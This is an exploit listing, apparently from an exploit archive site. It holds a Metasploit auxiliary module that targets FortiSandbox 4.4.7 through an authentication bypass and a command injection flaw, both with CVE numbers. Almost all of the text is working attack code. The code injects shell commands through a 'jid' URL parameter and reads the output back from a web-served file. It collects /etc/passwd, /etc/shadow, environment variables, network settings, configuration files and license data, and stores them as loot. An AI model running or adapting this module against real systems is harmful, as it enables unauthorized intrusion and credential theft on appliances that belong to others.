Share
## https://sploitus.com/exploit?id=PACKETSTORM:223318
==================================================================================================================================
    | # Title     : FortiSandbox 4.4.7 Information Gathering Module                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.fortinet.com/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata. 
                     It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities.
    
    
    [+] POC        :  
    
    ##
    # Auxiliary module for information gathering
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize
        super(
          'Name' => 'FortiSandbox Information Gatherer',
          'Description' => %q{
            This module gathers comprehensive information from vulnerable
            FortiSandbox instances using CVE-2026-39813 (Auth Bypass)
            and CVE-2026-39808 (Command Injection).
          },
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'References' => [
            ['CVE', '2026-39813'],
            ['CVE', '2026-39808']
          ]
        )
        
        register_options([
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptEnum.new('INFO_TYPE', [true, 'Type of information to gather', 'all',
            ['all', 'system', 'network', 'users', 'configs', 'forti', 'jobs']])
        ])
      end
    
      def run_host(ip)
        print_status("Gathering information from #{ip}")
        
        case datastore['INFO_TYPE']
        when 'all'
          gather_all_info
        when 'system'
          gather_system_info
        when 'network'
          gather_network_info
        when 'users'
          gather_users_info
        when 'configs'
          gather_configs_info
        when 'forti'
          gather_forti_info
        when 'jobs'
          gather_jobs_info
        end
      end
      
      def execute_cmd(cmd)
        output_file = "tmp_#{rand(10000)}.txt"
        
        injection_payload = "|#{cmd} > /web/ng/#{output_file} 2>&1|"
        encoded_payload = Rex::Text.uri_encode(injection_payload)
        
        exploit_uri = normalize_uri(target_uri.path, 'fortisandbox', 'job-detail', 'tracer-behavior')
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => encoded_payload },
          'timeout' => 12
        })
        
        Rex.sleep(2)    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'ng', output_file),
          'timeout' => 12
        })
        
        output = res.body if res && res.code == 200
    
        cleanup_cmd = "rm -f /web/ng/#{output_file}"
        cleanup_payload = "|#{cleanup_cmd}|"
        send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => Rex::Text.uri_encode(cleanup_payload) }
        })
        
        output
      end
      
      def gather_system_info
        print_status("Gathering system information...")
        
        cmds = {
          'uname' => 'uname -a',
          'hostname' => 'hostname',
          'os' => 'cat /etc/os-release 2>/dev/null',
          'uptime' => 'uptime',
          'env' => 'env'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output}")
            report_note(host: rhost, type: "fortisandbox.#{name}", data: output)
          end
        end
      end
      
      def gather_network_info
        print_status("Gathering network information...")
        
        cmds = {
          'interfaces' => 'ip a 2>/dev/null || ifconfig',
          'routes' => 'route -n 2>/dev/null || ip route',
          'connections' => 'netstat -tulnp 2>/dev/null || ss -tulnp',
          'hosts' => 'cat /etc/hosts',
          'iptables' => 'iptables -L -n 2>/dev/null',
          'arp' => 'arp -n 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}#{'...' if output.length > 500}")
            report_note(host: rhost, type: "fortisandbox.network.#{name}", data: output)
          end
        end
      end
      
      def gather_users_info
        print_status("Gathering user information...")
        
        cmds = {
          'passwd' => 'cat /etc/passwd',
          'shadow' => 'cat /etc/shadow 2>/dev/null',
          'groups' => 'groups',
          'last_logins' => 'last -a 2>/dev/null',
          'processes' => 'ps aux | head -50',
          'sessions' => 'who -a 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}")
            report_note(host: rhost, type: "fortisandbox.users.#{name}", data: output)
            report_cred(username: name) if name == 'passwd'
          end
        end
      end
      
      def gather_configs_info
        print_status("Gathering configuration files...")
        
        configs = [
          '/opt/fortisandbox/conf/',
          '/etc/fortinet/',
          '/data/fortisandbox/conf/',
          '/home/fortisandbox/.config/'
        ]
        
        configs.each do |path|
          cmd = "ls -la #{path} 2>/dev/null"
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("Config directory: #{path}\n#{output}")
    
            find_cmd = "find #{path} -type f -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | head -10"
            files = execute_cmd(find_cmd)
            if files
              files.each_line do |file|
                file.strip!
                next if file.empty?
                content = execute_cmd("head -100 #{file} 2>/dev/null")
                if content
                  print_status("Content of #{file}:\n#{content[0..500]}")
                  store_loot("fortisandbox.config", "text/plain", rhost, content, file, "FortiSandbox Config")
                end
              end
            end
          end
        end
      end
      
      def gather_forti_info
        print_status("Gathering FortiSandbox specific information...")
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'firmware')
        })
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            print_good("FortiSandbox Info via API:")
            json.each do |k, v|
              print_status("  #{k}: #{v}")
            end
            report_note(host: rhost, type: "fortisandbox.api_info", data: json.to_s)
          rescue
          end
        end
        
        cmds = {
          'version' => '/opt/fortisandbox/bin/fortisandbox -v 2>/dev/null',
          'license' => 'cat /data/fortisandbox/license/* 2>/dev/null',
          'jobs' => 'ls -la /data/fortisandbox/jobs/ 2>/dev/null | head -20',
          'logs' => 'ls -la /var/log/fortisandbox/ 2>/dev/null | head -20',
          'quarantine' => 'ls -la /data/fortisandbox/quarantine/ 2>/dev/null | head -20'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..300]}")
          end
        end
      end
      
      def gather_jobs_info
        print_status("Gathering job information...")
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'list')
        })
        
        if res && res.code == 200
          begin
            jobs = res.get_json_document
            print_good("Found #{jobs.size} jobs via API")
            jobs.each do |job|
              print_status("Job: #{job}")
            end
            report_note(host: rhost, type: "fortisandbox.jobs", data: jobs.to_s)
          rescue
    
            output = execute_cmd('ls -la /data/fortisandbox/jobs/ 2>/dev/null')
            print_good("Jobs directory:\n#{output}") if output
          end
        end
      end
      
      def gather_all_info
        gather_system_info
        gather_network_info
        gather_users_info
        gather_configs_info
        gather_forti_info
        gather_jobs_info
        
        print_good("Information gathering completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================